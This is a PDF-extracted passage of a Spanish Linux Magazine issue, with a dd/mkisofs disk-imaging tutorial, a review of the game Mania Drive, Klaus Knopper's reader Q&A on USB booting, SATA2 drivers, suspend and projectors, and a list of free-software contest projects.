IMAGEN ESPEJOSi se están creando copias de seguridad, salvando datos o copiando
CDs arrancables, dd y mkisofs te ayudan a realizar este trabajo estu-
pendamente. POR HEIKE JURZIK
LINUX USER • Linea de comandos: Isos
80 Número 22 W W W . L I N U X - M A G A Z I N E . E S
$ dd if=/dev/hdc of=miimagen.iso
9153728+0 records in
9153728+0 records out
4686708736 bytes transferred in
1209.649659 secondsU
(3874435 bytes/sec)
Cuando se está usando dd, no esnecesario montar el medio parahacer una copia rápida. Sustituye ladenominación del dispositivo/dev/hdc con el nombre de disposi-tivo en tu caso.
La imagen ISO se escribe en unfichero llamado miimagen.iso en eldirectorio actual.
Optimización de Opcionesdd dispone de distintas opciones. Unparámetro práctico que acelera lavelocidad del programa considera-blemente es bs (por “block size”, olo que es lo mismo, “tamaño de blo-que”). Por defecto, dd usará bloquesde 512 bytes, es decir, lee 512 bytesde una vez y los escribe en el ficherode salida. Si se selecciona un tamañode bloque mayor se puede acelerar elproceso. Por ejemplo, si se escribe…
dd if=/dev/hda1 of=/dev/hdb1 U
bs=2k
… se le dice a dd que copie la parti-ción en bloques de 2Kb (2048 bytes).Si el bloque último es más pequeñoque el tamaño de bloque especifi-cado, dd no lo rellenará:
dd if=/dev/hda1 U
of=dev/hdb1bs=6k U
16059+1 records in U
16059+1 records out
98670592 bytes transferred U
in 13.801482 seconds U
(714927 bytes/sec)
La salida dice que dd ha copiado16059 bloques cada uno de los cua-les contiene 6144 bytes, con un blo-que que restante de 4096 bytes.
Además del tamaño de bloquepuede especificarse el número debloques que se desea que lea. Paracopiar 40MB, se escribe bs= 1M
count=40. La opción count especi-fica el número de bloques. Esto tienesentido si se quiere salvar un sectorde arranque del disco duro. Deberáncopiarse los primeros 512 bytes delbloque haciendo lo siguiente:
dd if=/dev/hda of=bootsector U
bs=512 count=1
dd al Rescate: El ÚltimoCartuchodd es una herramienta esencial sinos enfrentamos con la desalenta-
dora tarea que supone rescatar datosde sistemas de ficheros dañados.Antes de reparar el daño ha dehacerse una copia de seguridad. Deeste modo, se usa dd para crear unacopia idéntica byte a byte de un sis-tema dañado y a continuación la usa-mos para el intento de rescate.
Predeterminadamente, dd excluyesectores defectuosos de la copia.Para evitarlo y coger todos los datosque sean posibles, será preciso habi-litar la opción conv=noerror,sync:
dd bs=512 conv=noerror , syncU
if=/dev/hda of=/dev/hdb
De este modo se le dice que continúeleyendo y almacenando datos,incluso si descubre sectores defec-tuosos. La etiqueta noerror le diceque no se detenga en los errores, ysync que pise los sectores ilegiblescon ceros.
Imágenes ISO con MkisofsLa herramienta mkisofs (“makeISO9660 filesystem”) crea imágenesISO, aunque lo hace de una maneramuy competente, ofreciendo ademásun buen número de característicasadicionales. La sintaxis básica es:
mkisofs parámetro - o U
mifichero.iso /directorio/datos
La etiqueta -o define el nombre delfichero objetivo. A continuación vaseguido de los datos que quierenalmacenarse en la imagen. Comoparámetro adicional, puede decírselea mkisofs que habilite extensionesRockridge a través de la opción -r.Podría especificarse -R en cambiopara establecer privilegios y ficheros
Figura 2: mkisofs te informa en todo momento de lo que está ocurriendo mientras se crea el
sistema de archivos ISO.
ISO: Linux soporta varios tipos de sis-
temas de ficheros tales como Ext2, Ext3,
ReiserFS, incluso FAT y NTFS. ISO 9660,
para llamar al sistema de ficheros por su
nombre completo, es el sistema de
ficheros estándar para administrar
ficheros en CD-ROMs.
GLOSARIO
La extensión Rockridge añade informa-
ción de fichero de estilo Unix (tales
como propietario, grupo, privilegios de
acceso y enlaces simbólicos) al sistema
de ficheros ISO para evitar la pérdida de
datos cuando son copiados desde un
sistema de ficheros Unix a un CD. Al
mismo tiempo, Rockridge soporta nom-
bres de ficheros largos. La extensión
Microsoft Joliet para el estándar ISO
9660 también soporta nombres de
ficheros largos.
Rockridge y Joliet
de los propietarios. La extensiónJoliet se habilita con la etiqueta -J:
mkisofs -J -R -o myfile.iso U
/directory/data
-V permite especificar un nombre(volumen ID) para el CD/DVD. Si elnombre incluye blancos y/o caracte-res especiales, no debe olvidarseusar comillas:
mkisofs -V “Backup 20060502” ...
Para obtener salidas más detalladas,puede habilitarse la opción -v (de“verbose”) (Figura 1). La opciónopuesta sería -quiet. Si se prefiereevitar mensajes de salida de estadoen la ventana terminal, pero no sedesea hacerlo con la información quesuministran esos mensajes ¿por quéno redireccionar la salida delcomando mkisofs a un logfile?:
mkisofs ... -logfile U
log.txt ...
Ideal para BackupsMkisofs dispone de un importantenúmero de opciones prácticas paracrear copias de seguridad a interva-los regulares. Por ejemplo, la opción-m permite excluir ficheros desdeuna imagen. Los argumentos delnombre del fichero siguen a laopción. Incluso puede manipularcomodines y múltiples nombres. Porejemplo, para excluir todos los fiche-ros HTML de su imagen ISO, puedehacerse lo siguiente:
mkisofs ... -m *.html -m *.HTML U
-o copia.iso /home/huhn
-x permite excluir directorios com-pletos. Soporta varios argumentos:
mkisofs ... -x /tmp -x U
/var -o backup.iso /
Cuando se emplean estos paráme-tros, hay que asegurarse de evitarusar comodines cuando se especifi-can los ficheros que se desean escri-bir a la imagen. El comandosiguiente:
mkisofs ... -m *.html -m U
*.HTML -o backup.iso *
le dice a nuestra shell que resuelvael comodín final, es decir, queañada todos los ficheros a la ima-gen.
Si se desean excluir ficheros conextensiones de backup típicas, talescomo ficheros acabados en #, o.bak, se especifica la opción-no-bak.
¡Arrancable!Para crear medios auto-arrancables,se añade el cargador de arranque Iso-linux [1], el cual se integra muy biencon mkisofs:
mkisofs -J -R -o bootcd.iso U
-b isolinux/isolinux.bin U
-c isolinux/boot.cat U
-no-emul - boot U
-boot - load - size 4 U
-boot - info - table U
/folder/data
Nótense las opciones adicionales enel listado precedente: la etiqueta -b
seguida del nombre de la imagen dearranque y -c permiten especificarel catálogo de arranque.
El parámetro -no-emul-boot le diceal programa que no cree una emula-ción cuando se instala desde un CD,sino que, en su lugar escriba los con-tenidos del fichero imagen al disco.La opción -boot-load-size 4 especificaque la BIOS debería proporcionarcuatro sectores de 512 bytes para elfichero de arranque. Finalmente, laopción -boot-info-table establece ladistribución de la información delmedio de lectura en el tiempo dearranque. Nótese que esta informa-ción debería estar almacenada en eldirectorio isolinux bajo /folder/data.
Probando las ImágenesLa utilidad mount (de la que habla-mos en esta sección en Linux Maga-zine número 21) ofrece una manerapráctica de comprobar imágenes ISOantes de copiarlas en un CD. Paracomprobar la imagen ha de montarseen el sistema de ficheros mediante laopción -o loop:
mount -o loop myfichero.iso U
/mnt/tmp
Obsérvese que el punto montajedebe existir y que no se necesitanprivilegios de superusuario para estecomando. Una vez completado lacomprobación, puede desmontarse laimagen ISO de nuevo introduciendoumount /mnt/tmp. �
Linea de comandos: Isos • LINUX USER
[1] Isolinux: http://syslinux.zytor.com/
iso.php
RECURSOS
LINUX USER · Juegos
Hace ya más de un año el que suscribe
estuvo bastante tiempo buscando un
motor de videojuegos GPL para linux
que tuviera dos características fundamentales:
el lenguaje de programación tenía que ser C y
debía usar aceleración gráfica OpenGL. Tras
mucho buscar apareció de la nada Raydium
[1]. Este motor estaba todavía en sus comien-
zos y tenía muchas carencias, pero un simple
vistazo al código reveló que era lo que bus-
caba. Presentaba una característica muy inte-
resante: todos los añadidos que se iban
haciendo se aplicaban a su juego insignia:
Mania Drive [2]. Mania Drive es un divertidí-
simo juego de conducción (que no de carre-
ras) donde el objetivo fundamental es comple-
tar cada circuito en solitario en el menor
tiempo posible evitando todos los obstáculos
que nos encontraremos. Con este sencillo
planteamiento, la comunidad de Raydium ha
creado un videojuego tremendamente adic-
tivo con algunos detalles que lo sitúan cerca
del nivel de calidad de algunos juegos comer-
ciales.
¿Cuántos polígonos?Su aspecto gráfico, sin resultar sobresaliente
como en títulos de conducción de videoconso-
las, está muy bien logrado. Los modelados
son correctos, aunque las “piezas” que com-
ponen los circuitos están algo escasas de polí-
gonos; esto se debe a una decisión salomónica
del equipo de desarrollo para garantizar el
mejor rendimiento posible en todas las confi-
guraciones. Además, el hecho de que los esce-
narios estén creados con “piezas” permite
usar un editor para crear los nuevos circuitos.
Contrariamente, el vehículo que conducimos
tiene muy buen modelado con un número de
polígonos bastante alto.
Motores que rugenLo primero que destaca del apartado sonoro
del juego es que, como banda sonora, han
incluido temas musicales, con licencia Crea-
tive Commons, de muy buena calidad; algo
a lo que no nos tienen acostumbrados los
juegos libres. Así desde la pantalla del
menú, con buena música, textos en español
y un vídeo de fondo, se logra sorprender al
jugador casual que ha puesto el juego sólo
por probar.
Respecto a las licencias Creative Com-
mons de las canciones (en ellas se pide el
reconocimiento del autor) se ha utilizado un
método ya visto en otros juegos comerciales:
incluir un banner deslizante que aparece
sincronizado con el inicio de la canción que
se está reproduciendo y donde se nos
informa de su título y autor. Muy efectivo.
Los efectos sonoros se reducen práctica-
mente a un discutible ruido del motor, que
cambiará según la aceleración de nuestro
vehículo, y a efectos (muy particulares) que
se escucharán al pasar por las cercanías de
una zona de aceleración o la meta por ejem-
plo. Sin duda, los efectos son lo peor del
apartado sonoro, aunque sus desarrollado-
res ya han comentado que se mejorará este
aspecto en próximos lanzamientos.
Física realLo que más llama la atención de este juego es
el comportamiento de nuestro coche en el
Figura 1: Debemos controlar los derrapes.
Los más veteranos en el mundo de los juegos conocerán títulos como Stunts, los primeros simuladores 3D
de conducción que existieron y que causaron sensación entre el público en general. En esa misma línea de
juego, con muchas mejoras y completamente libre, llega ahora Mania Drive.
POR VICENTE CARRO
Mania Drive
AUTOS (LIBRES) LOCOSMania Drive
AUTOS(LIBRES)LOCOS
82 Número 22 W W W . L I N U X - M A G A Z I N E . E S
gen para superar cada circuito son extre-
madamente ajustados, por lo que no
podremos permitirnos ni un error en el
recorrido de cada uno de ellos. Pero para
que podamos aprender a correr bien tene-
mos disponibles en este modo unos circui-
tos Tutoriales donde se nos explicarán las
bases de conducción y las técnicas más
importantes.
El modo Pistas Internet permite al juga-
dor elegir un circuito de la lista para inten-
tar completarlo en el menor tiempo posi-
ble. Una vez terminemos el circuito nues-
tro tiempo se comparará instantáneamente
con la clasificación de Mania Drive y se
nos indicará el puesto mundial en el que
hemos quedado. Este pequeño detalle de
darnos un puesto en tiempo real hace que
este modo de juego se convierta en un
vicio, ya que los circuitos no suelen ser
muy largos y correremos una y otra vez
para ir arañando segundos y así subir
puestos con cada nueva repetición. El
modo Multijugador está pensado para
jugar en red local. Uno de los jugadores
tendrá que activar el servidor y el resto de
jugadores deberán conectarse a él (a su
dirección IP) para poder jugar. Este modo
es igual que los anteriores, pero veremos a
nuestros amigos en pantalla como si de
fantasmas se tratase, por lo que no podre-
mos colisionar contra ellos, aunque la
competitividad se verá aumentada al ver-
los solapándose con tu coche. También es
posible jugar vía Internet indicando la
dirección IP pública del que haga de servi-
dor y además, éste también tendrá que
abrir el puerto 29104 de su router.
En otro binario ejecutable encontrare-
mos un editor de pistas para Mania Drive,
aunque no viene de serie en los paquetes
de binarios. Para conseguirlo será impres-
cindible bajarse la última versión de
desarrollo del motor Raydium. Quizás para
cuando leáis esto ya haya salido publicada
la versión 1.03 con el editor integrado.
El futuro
Desde el día del lanzamiento de su primera
versión la comunidad de jugadores interesa-
dos en el juego se ha disparado desmesura-
damente. Además, numerosos programado-
res se están animando para mejorar el
motor Raydium en General y Mania Drive
en particular. La lista de cambios a realizar
[4] incluye desde la inclusión de luces de
freno funcionales hasta novedosos efectos
gráficos, multitud de nuevas ideas, así como
corrección de los lamentablemente siempre
presentes errores. Incluso hace poco han
surgido “mods” que cambian las texturas
del coche, del escenario o versiones mejora-
das de las piezas de los circuitos. Entre los
últimos avances de Mania Drive se ha aña-
dido un coche especial, un circuito bonus
llamado “rally” y está terminándose un
nuevo “mundo” de ambiente desértico.
ConclusiónMania Drive es muy jugable, divertido y
recomendable. Con la creciente comuni-
dad de Raydium cada día se generan más
apoyo y nuevos añadidos. Su juego
online y el sistema de posiciones con-
trastadas en tiempo real harán que el
jugador se “vicie” casi sin darse cuenta.
Probablemente nos encontremos ante un
juego que pasará a formar parte de la
historia de los juegos libres en muy poco
tiempo. �
mundo. Incluso siendo conscientes de que la
conducción ha sido simplificada para hacerlo
más arcade (se han suprimido las marchas
por ejemplo), la respuesta del coche es sospe-
chosamente realista. Esto se debe a que real-
mente Raydium (motor del juego) incluye a
su vez un motor de física real: ODE[3] (Open
Dynamic Engine). Estas tres siglas son sinó-
nimo del mejor motor físico libre que hay dis-
ponible, y eso se nota en el juego.
Derrapes en las curvas, colisiones en los
quitamiedos, vuelcos, saltos en los obstácu-
los, y toda la variedad de comportamientos
reales de un coche se pueden ver en Mania
Drive.
ControlesEn pos de la jugabilidad se ha simplifi-
cado mucho el control de nuestro vehí-
culo. Se podrá acelerar, retroceder (que
servirá también para frenar) y girar a
ambos lados con los cursores. Se han
suprimido a propósito las marchas (que
incorpora por defecto Raydium) y no
será posible bloquear las ruedas por
mucho que “frenemos”.
Además, en el momento en el que se
escriben estas líneas, la actual versión
del juego (1.02) tiene una carencia en la
versión win32: no se pueden usar joys-
ticks, con lo que los usuarios de linux
llevamos ventaja al poder usarlos, y cier-
tamente nos serán de gran ayuda si que-
remos lograr una buena posición en la
clasificación mundial.
Clasificación MundialMania Drive nos ofrece 4 modos de juego:
el Modo Historia, el modo Pistas Internet,
el modo Multijugador y Otras Pistas.
El Modo Historia es simplemente una
secuencia de circuitos que se irán desblo-
queando a medida que superemos los
tiempos establecidos. Lamentablemente
para algunos, los tiempos que se nos exi-
[1] Página oficial de Raydium: http://
www.raydium.org
[2] Página oficial de Mania Drive: http://
maniadrive.raydium.org
[3] Página oficial de ODE: http://www.
ode.org
[4] Lista de futuros cambios: http://wiki.
raydium.org/wiki/RoadMap
RECURSOS
G L O B A L :
L o m e j o r :
• Genial motor físico
• Muy adictivo y en español
• Gran banda sonora
L o p e o r :
• Los efectos puntuales de sonido
• Pocos polígonos en circuitos
7,50
Puntuación
Figura 2: Un mal volantazo y nuestro coche
volcará.
Figura 3: Textos de pantalla en castellano, genial.
Juegos · LINUX USER
83Número 22W W W . L I N U X - M A G A Z I N E . E S
COMUNIDAD · Konsultorio
84 Número 21 W W W . L I N U X - M A G A Z I N E . E S
un estado en el que puedan ser reconocidos
por el kernel. Puede que piense que con
añadir los drivers correctos al kernel se
puede acceder directamente a las particiones
/dev/sda* cuando el kernel monta el sistema
de archivos raíz, pero desafortunadamente
esto no es tan sencillo. Tras cargar los módu-
los USB (ohci-hcd, uhci-hcd o ehci-hcd) y
usb-storage, hay un periodo de tiempo de
entre 5 y 20 segundos en los cuales el pro-
ceso de inicialización simplemente tiene que
esperar hasta que el dispositivo USB esté
preparado y todas las particiones sean
reconocidas por el kernel. Antes de eso, las
particiones del dispositivo USB no son ni
siquiera visibles en el espacio de kernel.
El procedimiento general para lograr que
un disco duro externo USB o pendrive sea
arrancable con Linux depende mucho de la
configuración del particionamiento y del sis-
tema de archivos deseado. Si tenemos una
partición FAT en /dev/sda1, podríamos usar
syslinux y colocar un kernel y un initrd con
todos los drivers necesarios allí, y añadir una
directiva root=/dev/sda2 en el bootloader,
con lo que se montaría un sistema de
achivos Linux ext2 desde la segunda parti-
ción. No creo que el initrd-utils estándar deKnoppix y USB
Uso Knoppix desde hace unos dos
años y tengo la siguiente pregunta:
¿podría describir paso a paso cómo arrancar
Linux (Knoppix) desde un dispositivo USB?
He leído algunos artículos al respecto, pero
hasta el momento no lo he logrado. Por lo
que he podido entender de estos artículos, la
cuestión es crear un initrd, que tras el
arranque inicial, debería ser capaz de montar
el sistema de archivos desde el dispositivo
USB en / (raíz). He logrado crear mi propio
initrd, pero sigo sufriendo el siguiente error:
Kernel panic not syncing :U
VFS: Unable to mount root fs U
on unknown block (8, 17)”
Creo que esto puede ser debido al hecho de
que mi initrd tiene soporte para USB y SCSI
como módulos cargables, mientras que me
parece que este soporte ha de estar compi-
lado dentro del kernel, cosa que no sé cómo
lograr. O quizás esté equivocado en mi
planteamiento. ¿Existe alguna otra manera
de hacer que funcione? Quizá pueda usted
escribir un artículo acerca de esto en Linux
Magazine.
Si le aparece el mensaje de error
inmediatamente tras cargar el kernel,
puede que se haya descuidado y no haya
añadido el ramdisk inicial con los módulos
USB al cargador de Linux. Tanto si usa grub,
sys/extlinux o lilo, debería haber una línea
“append” que diga algo como initrd=
some-filename.gz, con ficheros.gz como el
initrd que hemos creado previamente.
Arrancar desde USB puede ser un poco
más complicado de lo que pensamos debido
a que este tipo de dispositivos necesitan ge-
neralmente algún tiempo extra para alcanzar
ELCONSULTORIODE KLAUS
Klaus Knopper es el creador de
Knoppix y co-fundador de la
LinuxTag Expo. Trabaja en la
actualidad como profesor,
programador y consultor. Si tiene
algún problema de configuración,
o simplemente quiere conocer
mejor cómo funciona Linux, no
dude en escribir sus preguntas a:
COMUNIDAD · Konsultorio
86 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Debian soporte esto debido al periodo de
espera ya comentado para que el disco/dis-
positivo USB esté listo, por lo que tendremos
que configurar un initrd de manera manual
con un tiempo de espera suficientemente
largo entre la carga de los módulos y el
acceso a las particiones /dev/sda*.
No debería importar si ponemos todos los
drivers USB en el kernel (uno o varios de los
*-hcd más el usb-strage) o en el disco Ram
inicial, ya que en ambos casos tendremos
que retrasar el montaje de/desde el disposi-
tivo USB.
Encontraremos una descripción de cómo
cargar Linux en un dispositivo USB en el
caso de Knoppix en http://www.knoppix.net/
wiki/USB_Based_FAQ. En este documento se
coloca un sistema live Linux en un disposi-
tivo USB que está formateado con un sistema
de archivos FAT (por defecto). La descripción
debería ser la misma que para una insta-
lación desde un disco duro USB también.
Hay que hacer notar que no todas las com-
binaciones de dispositivo USB y placa son
arrancables, a pesar de las promesas de los
fabricantes. Existen varias versiones GNU/
Linux “diseñadas para el arranque USB” con
las que podemos experimentar si estamos
interesados. Consulte http://spblinux.
sourceforge.net/ o http://www.
damnsmalllinux.org/.
Drivers SATAAcabo de hacerme con un equipo
Linux hecho a medida. Se trata de una
máquina “a la última” con los siguientes com-
ponentes:
• 3 discos duros SATA2 (WD 320 GB) a
7200 rpm, con 16 MB de búfer
• 1 Kingston 512 MB DDR2 533FSB
• 1 CPU Intel P-4630-3GHz 800 FSBSB/ 2M
con ventilador retail box fan
• 1 placa ASUS P5LD2 VM Allin-1 atx mb
• 1 DVD-RW Plextor
Cuando intento instalar Linux (Red Hat ver-
sión 9), logro completar parte del proceso.
Tras seleccionar el idioma (US), Linux me
indica que debo seleccionar un “device dri-
ver”.
Ninguna de las opciones funciona. No
creo que sea el CD-RW, ya que está leyendo
el disco de instalación. He deshabilitado la
tarjeta de sonido y el acceso a Internet en la
BIOS.
Como los discos SATA2 son nuevos en el
mercado, supongo que Linux puede no está
totalmente preparado para soportarlos. He
enviado las siguientes preguntas a Red Hat,
ASUS y Western, y no he recibido ninguna
respuesta.
• ¿Tiene su compañía algún driver para los
discos SATA2 para Red Hat (versión 9)?
• ¿Conoce algún repositorio con drivers que
soporten su hardware?
• ¿Conoce alguna distribución de Linux
además de Red Hat que soporte los
nuevos discos SATA2?
Klaus, quizá usted pueda arrojar algo de luz
sobre este problema. ¿Qué podría hacer?
Los drivers para SATA2 no dependen
de la distribución específica (o más
bien, las distribuciones no deberían depender
de un kernel específico). Por lo tanto, las posi-
bilidades son buenas si consigues los drivers
SATA2 para tu configuración directamente de
la fuente “normal” del kernel en www.kernel.
org.
Compilar un kernel (o los módulos del ker-
nel) no es algo espantosamente difícil, pero
dar con la configuración correcta si puede ser
algo más complicado. Necesitarás saber qué
chipset SATA2 usa tu placa, e información de
otros componentes hardware, para saber qué
opciones hay que marcar en la configuración
del kernel. Existen muchas compañías de soft-
ware libre, así como grupos de usuarios de
Linux, que pueden ayudarte con este pro-
blema.
He encontrado varias menciones a tu placa
en la fantástica lista de Ubuntu, por lo que ya
debería estar soportada por los kernels
actuales de Linux. Puedes probar a ver si los
discos son detectados por una Knoppix o una
Ubuntu Live CD.
Una vez que compruebes que los discos
funcionan con ese kernel más reciente,
debería ser posible actualizar el de tu sistema,
o alternativamente realizar una nueva insta-
lación con una distro que incorpore el kernel
en cuestión.
Suspensión a disco con APMHe leído su artículo en el número 19 de
Linux Magazine con interés porque he
tenido numerosos problemas al intentar (falli-
damente) conseguir que funcione la suspen-
sión a disco en mi Toshiba Satellite Pro 4600
con Mandriva LE2005. Funciona con Win-
dows 2000 Pro, pero no sé si Windows 2000
usa APM o ACPI. Me gustaría hacerle dos pre-
guntas: ¿cómo puedo saber si mi equipo
soporta APM? y, en caso afirmativo, ¿qué ten-
dría que hacer para iniciar la suspensión a
disco con Mandriva LE2005?
Para poder averiguar si su portátil
soporta APM o ACPI, simplemente te-
nemos que probar ambos métodos. Podría,
por ejemplo, arrancar Knoppix en modo
knoppix acpi=force para forzar el modo ACPI,
y comprobar más tarde con dmesg si aparece
algo útil (podemos probar también el
comando acpi), o arrancar con knoppix
acpi=off para verificar que tenemos apm
como alternativa (dmesg, apm,…). Podemos
investigar en la documentación de Mandriva
en busca de comandos equivalentes.
Si su portátil soporta APM y ya tiene una
partición o archivo para suspensión a disco
creado por el fabricante (existen programas
bajo DOS que modifican el disco duro en con-
sonancia), debería poderse suspender a disco
Figura 1: Podemos buscar drivers en la página www.kernel.org.
87Número 22W W W . L I N U X - M A G A Z I N E . E S
Konsultorio • COMUNIDAD
Me gustaría poder visualizar en la pantalla
del portátil lo que se está proyectando, o al
menos tener un comando o tecla que me per-
mita conmutar.
He estado buscando en diversos artículos
en Internet, pero no he encontrado una solu-
ción. ¿Podría ayudarnos?
Sé perfectamente de lo que me
está hablando. Resulta que tengo
un portátil con el mismo extraño hard-
ware “inteligente” que decide el modo
gráfico en función de si el proyector
está conectado en el momento de
arrancar o no.
Normalmente, para mi portátil, si el
proyector está conectado en el
momento de arrancar, se proyecta una
imagen que “casi” coincide con la pan-
talla del portátil. Pero casi el 25% del
área exterior queda cortada. Al tratar
de solucionarlo con Control + alt +
numpad, más o menos, aparecen todo
tipo de graciosos efectos en la proyec-
ción.
Este es fundamentalmente un
problema de hardware, pero eso
no significa que no existan algu-
nas soluciones vía software bajo
Linux.
Solución 1:
Iniciamos un framebuffer del
servidor X para nuestra pre-
sentación. El servidor de framebuffer
generalmente genera una imagen en
frecuencias “amigables para el proyec-
tor” por TODOS los puertos de vídeo.
Al hacer esto, simplemente tenemos
que copiar nuestro /etc/X11/xorg.conf
(o /etc/X11/XF86Config-4 si usamos
XFree86 en lugar de Xorg) a una nueva
ubicación, y cambiamos:
Driver U
“su-driver-de-aceleración”
a
Driver “fbdev”
en la sección “Device” de la copia.
Puede que queramos modificarar tam-
bién la sentencia Modes para que coin-
cida con la resolución preferida del
proyector.
Ahora, trabajando como root,
podemos lanzar el nuevo servidor X
tecleando:
Xorg :1 -nolisten tcp -config U
/etc/X11/xorg.conf-projector
y levantamos la nueva pantalla desde la
sesión “antigua” (conmutamos a la otra
instancia del servidor X presionando
Ctrl-Alt-F7, en caso de estar en la con-
sola 7), tecleando:
export DISPLAY=:1 U
# Set the “default display” U
for that shell
kpdf my-presentation.pdf & U
# Start the PDF presentation
twm & # Add a quick & U
small windowmanager
Solución 2:
Para ciertos tipos de portátiles puede ser
útil arrancar con la pantalla propia
deshabilitada, de manera que sólo obte-
nemos la imagen del proyector.
Aparentemente, los chipsets usados en
estos portátiles no son capaces de
generar imagen interna y externa al
mismo tiempo. Habrá que usar las teclas
adecuadas para conmutar al modo “sólo
puerto externo” en la pantalla de
arranque.
Esta solución al problema es franca-
mente inconveniente, pero para algunos
portátiles no parece haber otra solución.
Solución 3:
KDE incluye un plugin “cambiador de resolu-
ción rápido” en el Control Center que per-
mite cambiar la resolución y ajustarla al
tamaño del escritorio al mismo tiempo. A
veces es útil permutar al modo 800x600 de
manera que funcionen adecuadamente tanto
la imagen del proyector como la del portátil a
la vez.
En algunas ocasiones la frecuencia de
refresco es un factor importante si queremos
que la imagen del proyector sea la misma
que la del portátil. Cambiar la frecuencia a
unos 75Hz si el proyector no es demasiado
nuevo puede hacer milagros. �
simplemente con apretar la tecla al efecto, con
lo que el portátil escribiría toda la información
necesaria en la partición o fichero (y con algo
de suerte, despertar de la suspensión más
tarde).
Con los portátiles más nuevos probable-
mente tenga que usar ACPI, debido a que
éstos ya no implementan suspensión asistida
por hardware. Por tanto, con el método sopor-
tado a partir del kernel 2.6.15 y superior, sólo
necesitamos crear nuestra partición de swap
lo suficientemente grande como para guardar
la RAM entera más el swap en uso en ese
momento.
La opción del kernel para el lilo.conf o el
menu.list de grub es
resume2=swap:/dev/hda3, pasado como
APPEND en las opciones del kernel, siendo
/dev/hda3 una partición de swap en este
ejemplo. Reiniciamos de manera que el kernel
habilite esta funcionalidad. Podemos iniciar la
suspensión a disco tecleando
echo 4 > /proc/acpi/sleep
como root. Pueden pasar cosas extrañas y
maravillosas al reiniciar. Cuando reiniciemos,
nuestro kernel tratará de restaurar el estado
del sistema desde la información guardada en
la partición de swap, cosa que puede lograr o
no al primer intento.
Desafortunadamente, no es fácil averiguar
qué componentes de nuestro ordenador
soportan suspensión por hardware, y cuáles
tienen que ser descargados y reiniciados tras
la reanudación. Esto conlleva un proceso largo
de prueba y error. Por tanto, cuando usemos
suspensión a disco las primeras veces, debe-
mos asegurarnos que toda la información vital
está guardada en una copia de seguridad.
Si echo 4 > /proc/acpi/sleep no tiene efecto
alguno en el kernel, debemos echar mano del
comando dmesg en busca de algún error
obvio. Podría ocurrir simplemente que nue-
stro kernel simplemente no soporte suspen-
sión a disco, o el ACPI esté desactivado.
PC Portátil con Configuraciónpara Proyector
Recientemente se ha celebrado un
evento Linux, (Namur Linux Days, en
Bélgica), al que fui invitado a hacer una pre-
sentación acerca de Evolution.
Llegamos con un portátil, pero tuvimos
algunas dificultades para sacar la presentación
con un proyector. La solución que encon-
tramos fue arrancar el ordenador con el
proyector enchufado. Pero, en este caso, no
aparecía nada en la pantalla del portátil.
88 Número 22 W W W . L I N U X - M A G A Z I N E . E S
COMUNIDAD · Concurso de Software Libre
ACHILLES ::UN SISTEMA DE GESTIÓN DE RECURSOS
Framework que permitirá gestionar todo tipode información proporcionando una base sól-ida y funcional sobre el que se podrán ir añadi-endo módulos y/o componentes.
Autores
Guillermo Rodríguez Cano
URL
http://www.themountolympus.net/category/desarrollos/achilles
ACTION-ADVENTURE ARCHAEOLOGIST GAMEVideojuego de acción y aventura donde elprotagonista es un arqueólogo que debeexplorar distintos mapas.
Autores
Borja Moreno Fernández
AGENTE OSMIUS PARA MONITORIZACIÓN DEISPS
Aplicación para monitorizar y centralizar losdatos del servicio real que ofrecen los distintosISPs del mercado con la finalidad de dar unamedida fidedigna de la calidad de internet encualquier parte del mundo.
Autores
Guillermo Halys Ortuño
ALELISistema para la creación de distintos tipos deestadísticas histórico de una lista de correo enformato mbox (como los que genera mail-man).
Autores
Pablo García Figuerola
APLICACIÓN DISTRIBUIDA PARA LA GESTIÓNDE CURSOS VIRTUALES
Desarrollo de una plataforma de enseñanzavirtual basada en Moodle.
Autores
Alejandro López Vega
Alejandro Leal Cruz
Presentamos a continuación el listado
completo en orden alfabética de los
proyectos admitidos para participar en
1er Concurso Universitario de Software Libre.
Para más información y las últimas noti-
cias, visita http://concurso-softwarelibre.us.es/.
APLICACIÓN WEB DE GESTIÓN DE UN ÁREA DEDEPORTE
Aplicación web de gestión de un área dedeporte (polideportivo).
Autores
Sandra Caño Galán
APT-CEVersión del apt-get para pocketpc con sistemaoperativo Windows CE.
Autores
Jose Manuel Ferrer Mosteiro
AUTOLEARNPrograma para el aprendizaje de la seguridadvial, con material sobre el código de circu-lación y pruebas propuestas para el/la usuario/a.
Autores
Alberto Díaz Herández
AYEAYEAplicación para gestionar e inventariar dispos-itivos de red.
Autores
Ignasi Fosch Alonso
Javier Arellano Roig
BLOODTOOTHPrograma para la transferencia de archivos ydocumentos a través de dispositivos blue-tooth para el entorno de escritorio Gnome.
Autores
Juan Jesús Salas Rivera
Angel Fernandez Fernandez
Javier Sivianes López
URL
http://bloodtooth.wordpress.com/
CABARET – SOFTWARE DE PRESENTACIONESOPENGL
Software para creación de presentacionesdinámicas mediante OpenGL, con soportepara plugins.
Autores
David Muñoz Díaz
URL
http://thecabaret.wordpress.com/
CARONTESistema de retransmisión/recepción de vídeo
CONCURSO DESOFTWARE LIBRE
y audio en “tiempo real” a través de la redmediante protocolos de comunicación basa-dos en tecnologías P2P.
Autores
Santiago Dueñas Domínguez
CENTRO DE MEDIOSOrganizador que permite el almacenamientode distintos tipos de material(texto,fotos,vídeos …) a los que se les puedeasignar multitud de metadatos.
Autores
Pablo Guerrero Rosel
Jorge Salamero Sanz
CLIENTE MENSAJERÍA INSTANTÁNEA Y LECTORDE SINDICACIÓN
Cliente de mensajería instantánea y lector desindicación multiprotocolo y multiplataforma.
Autores
Rubén Dugo Martín
Vicente Ruiz Rodríguez
Gabriel Garrido Calvo
URL
http://gocmis.wordpress.com/
COLORSTYLERAplicación para sistematizar la creación deplantillas opensource XHTML+CSS para dis-tintos CMS que permite reorganizar la dis-tribución de su layout y los colores de la plan-tilla mediante un interfaz de usuario.
Autores
Fernando Salom Carratalá
Victor Marco Boix
URL
http://colorstyler.wordpress.com/
COMPARTE RIQUEZAPrograma que pretende facilitar el intercam-bio de recursos y materias primas entre pueb-los del tercer mundo sin intermediarios.
Autores
Iñigo Tamayo
COMPRESIÓN EN EL SISTEMA DE ARCHIVOSEXT3
Sistema de fichero ext3 con compresión alvuelo de los datos guardados.
Autores
Francisco José Oviedo Alvarez
#20 #21
¡pídelos ya!
el REPOSITORIOde conocimientos
LINUXmás COMPLETO
¡No esperes a que se agoten!
WWW.LINUX-MAGAZINE.ES/ATRASADOS
Autores
Miguel Serrano Milano
URL
http://hxuml.wordpress.com/
DOCEVALHerramienta para evaluar la calidad de la doc-umentación generada en un proyecto de soft-ware libre.
Autores
